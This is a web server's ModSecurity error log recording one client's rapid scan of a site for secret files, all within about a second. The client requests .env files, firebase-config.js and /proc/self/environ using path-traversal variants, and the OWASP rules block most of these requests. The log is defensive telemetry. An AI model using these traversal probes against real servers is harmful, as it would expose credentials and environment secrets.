[Sun Oct 25 14:01:41.542394 2026] [security2:error] [pid 2875748:tid 2875748] [client 35.229.22.35:40548] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/application/.env.sample"] [unique_id "at5EBQ99Fkrvw6SgmfSw4wAAAAM"]
[Sun Oct 25 14:01:41.542617 2026] [security2:error] [pid 2875748:tid 2875748] [client 35.229.22.35:40548] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/application/.env.sample"] [unique_id "at5EBQ99Fkrvw6SgmfSw4wAAAAM"]
[Sun Oct 25 14:01:41.542966 2026] [security2:error] [pid 2875748:tid 2875748] [client 35.229.22.35:40548] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/application/.env.sample"] [unique_id "at5EBQ99Fkrvw6SgmfSw4wAAAAM"]
[Sun Oct 25 14:01:41.597388 2026] [security2:error] [pid 2874705:tid 2874705] [client 35.229.22.35:40568] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/firebase-config.js"] [unique_id "at5EBaYYcNPV1bnoekNX9AAAAAQ"]
[Sun Oct 25 14:01:41.597443 2026] [security2:error] [pid 2874705:tid 2874705] [client 35.229.22.35:40568] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/firebase-config.js"] [unique_id "at5EBaYYcNPV1bnoekNX9AAAAAQ"]
[Sun Oct 25 14:01:41.602481 2026] [security2:error] [pid 2874494:tid 2874494] [client 35.229.22.35:40560] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /docker-compose/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/docker-compose/.env"] [unique_id "at5EBe6EytsuoC67cD91jQAAAAE"]
[Sun Oct 25 14:01:41.602652 2026] [security2:error] [pid 2874494:tid 2874494] [client 35.229.22.35:40560] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/docker-compose/.env"] [unique_id "at5EBe6EytsuoC67cD91jQAAAAE"]
[Sun Oct 25 14:01:41.602916 2026] [security2:error] [pid 2874494:tid 2874494] [client 35.229.22.35:40560] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/docker-compose/.env"] [unique_id "at5EBe6EytsuoC67cD91jQAAAAE"]
[Sun Oct 25 14:01:41.644202 2026] [security2:error] [pid 2875748:tid 2875748] [client 35.229.22.35:40548] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /media../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/media../.env"] [unique_id "at5EBQ99Fkrvw6SgmfSw5QAAAAM"]
[Sun Oct 25 14:01:41.644250 2026] [security2:error] [pid 2875748:tid 2875748] [client 35.229.22.35:40548] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /media../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/media../.env"] [unique_id "at5EBQ99Fkrvw6SgmfSw5QAAAAM"]
[Sun Oct 25 14:01:41.644295 2026] [security2:error] [pid 2875748:tid 2875748] [client 35.229.22.35:40548] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/media../.env"] [unique_id "at5EBQ99Fkrvw6SgmfSw5QAAAAM"]
[Sun Oct 25 14:01:41.644431 2026] [security2:error] [pid 2875748:tid 2875748] [client 35.229.22.35:40548] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/media../.env"] [unique_id "at5EBQ99Fkrvw6SgmfSw5QAAAAM"]
[Sun Oct 25 14:01:41.644710 2026] [security2:error] [pid 2875748:tid 2875748] [client 35.229.22.35:40548] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/media../.env"] [unique_id "at5EBQ99Fkrvw6SgmfSw5QAAAAM"]
[Sun Oct 25 14:01:41.645942 2026] [security2:error] [pid 2873114:tid 2873114] [client 35.229.22.35:40524] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /api/../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/api/..;/.env"] [unique_id "at5EBROIqc1eRNCRH2cpDgAAAAc"]
[Sun Oct 25 14:01:41.646006 2026] [security2:error] [pid 2873114:tid 2873114] [client 35.229.22.35:40524] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/..;/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/api/..;/.env"] [unique_id "at5EBROIqc1eRNCRH2cpDgAAAAc"]
[Sun Oct 25 14:01:41.646140 2026] [security2:error] [pid 2873114:tid 2873114] [client 35.229.22.35:40524] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/api/..;/.env"] [unique_id "at5EBROIqc1eRNCRH2cpDgAAAAc"]
[Sun Oct 25 14:01:41.646410 2026] [security2:error] [pid 2873114:tid 2873114] [client 35.229.22.35:40524] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/api/..;/.env"] [unique_id "at5EBROIqc1eRNCRH2cpDgAAAAc"]
[Sun Oct 25 14:01:41.649991 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.229.22.35:40474] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /supabase/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/supabase/.env"] [unique_id "at5EBYIGIq5euXyTbvT1PQAAACQ"]
[Sun Oct 25 14:01:41.650173 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.229.22.35:40474] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/supabase/.env"] [unique_id "at5EBYIGIq5euXyTbvT1PQAAACQ"]
[Sun Oct 25 14:01:41.650439 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.229.22.35:40474] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/supabase/.env"] [unique_id "at5EBYIGIq5euXyTbvT1PQAAACQ"]
[Sun Oct 25 14:01:41.668533 2026] [security2:error] [pid 2873042:tid 2873042] [client 35.229.22.35:40558] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /..../..../..../..../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/..../..../..../..../.env"] [unique_id "at5EBbc82c1J4zoyxalWogAAAAI"]
[Sun Oct 25 14:01:41.668583 2026] [security2:error] [pid 2873042:tid 2873042] [client 35.229.22.35:40558] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /..../..../..../..../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/..../..../..../..../.env"] [unique_id "at5EBbc82c1J4zoyxalWogAAAAI"]
[Sun Oct 25 14:01:41.668634 2026] [security2:error] [pid 2873042:tid 2873042] [client 35.229.22.35:40558] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/..../..../..../..../.env"] [unique_id "at5EBbc82c1J4zoyxalWogAAAAI"]
[Sun Oct 25 14:01:41.668843 2026] [security2:error] [pid 2873042:tid 2873042] [client 35.229.22.35:40558] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/..../..../..../..../.env"] [unique_id "at5EBbc82c1J4zoyxalWogAAAAI"]
[Sun Oct 25 14:01:41.669144 2026] [security2:error] [pid 2873042:tid 2873042] [client 35.229.22.35:40558] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/..../..../..../..../.env"] [unique_id "at5EBbc82c1J4zoyxalWogAAAAI"]
[Sun Oct 25 14:01:41.670281 2026] [security2:error] [pid 2874494:tid 2874494] [client 35.229.22.35:40560] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /..../..../..../..../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/..../..../..../..../proc/self/environ"] [unique_id "at5EBe6EytsuoC67cD91jgAAAAE"]
[Sun Oct 25 14:01:41.670325 2026] [security2:error] [pid 2874494:tid 2874494] [client 35.229.22.35:40560] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /..../..../..../..../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/..../..../..../..../proc/self/environ"] [unique_id "at5EBe6EytsuoC67cD91jgAAAAE"]
[Sun Oct 25 14:01:41.670508 2026] [security2:error] [pid 2874494:tid 2874494] [client 35.229.22.35:40560] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/..../..../..../..../proc/self/environ"] [unique_id "at5EBe6EytsuoC67cD91jgAAAAE"]
[Sun Oct 25 14:01:41.670664 2026] [security2:error] [pid 2873114:tid 2873114] [client 35.229.22.35:40524] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /app/../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/app/..;/.env"] [unique_id "at5EBROIqc1eRNCRH2cpDwAAAAc"]
[Sun Oct 25 14:01:41.670727 2026] [security2:error] [pid 2873114:tid 2873114] [client 35.229.22.35:40524] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /app/..;/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/app/..;/.env"] [unique_id "at5EBROIqc1eRNCRH2cpDwAAAAc"]
[Sun Oct 25 14:01:41.670740 2026] [security2:error] [pid 2874494:tid 2874494] [client 35.229.22.35:40560] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/..../..../..../..../proc/self/environ"] [unique_id "at5EBe6EytsuoC67cD91jgAAAAE"]
[Sun Oct 25 14:01:41.670894 2026] [security2:error] [pid 2873114:tid 2873114] [client 35.229.22.35:40524] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/app/..;/.env"] [unique_id "at5EBROIqc1eRNCRH2cpDwAAAAc"]
[Sun Oct 25 14:01:41.671135 2026] [security2:error] [pid 2873114:tid 2873114] [client 35.229.22.35:40524] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/app/..;/.env"] [unique_id "at5EBROIqc1eRNCRH2cpDwAAAAc"]
[Sun Oct 25 14:01:41.671182 2026] [security2:error] [pid 2873114:tid 2873114] [client 35.229.22.35:40524] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/app/..;/.env"] [unique_id "at5EBROIqc1eRNCRH2cpDwAAAAc"]
[Sun Oct 25 14:01:41.671196 2026] [security2:error] [pid 2873114:tid 2873114] [client 35.229.22.35:40524] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/app/..;/.env"] [unique_id "at5EBROIqc1eRNCRH2cpDwAAAAc"]
[Sun Oct 25 14:01:41.681369 2026] [security2:error] [pid 2875748:tid 2875748] [client 35.229.22.35:40548] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /files../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/files../.env"] [unique_id "at5EBQ99Fkrvw6SgmfSw5gAAAAM"]
[Sun Oct 25 14:01:41.681419 2026] [security2:error] [pid 2875748:tid 2875748] [client 35.229.22.35:40548] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /files../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/files../.env"] [unique_id "at5EBQ99Fkrvw6SgmfSw5gAAAAM"]
[Sun Oct 25 14:01:41.681495 2026] [security2:error] [pid 2875748:tid 2875748] [client 35.229.22.35:40548] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/files../.env"] [unique_id "at5EBQ99Fkrvw6SgmfSw5gAAAAM"]
[Sun Oct 25 14:01:41.681666 2026] [security2:error] [pid 2875748:tid 2875748] [client 35.229.22.35:40548] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/files../.env"] [unique_id "at5EBQ99Fkrvw6SgmfSw5gAAAAM"]
[Sun Oct 25 14:01:41.681947 2026] [security2:error] [pid 2875748:tid 2875748] [client 35.229.22.35:40548] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/files../.env"] [unique_id "at5EBQ99Fkrvw6SgmfSw5gAAAAM"]
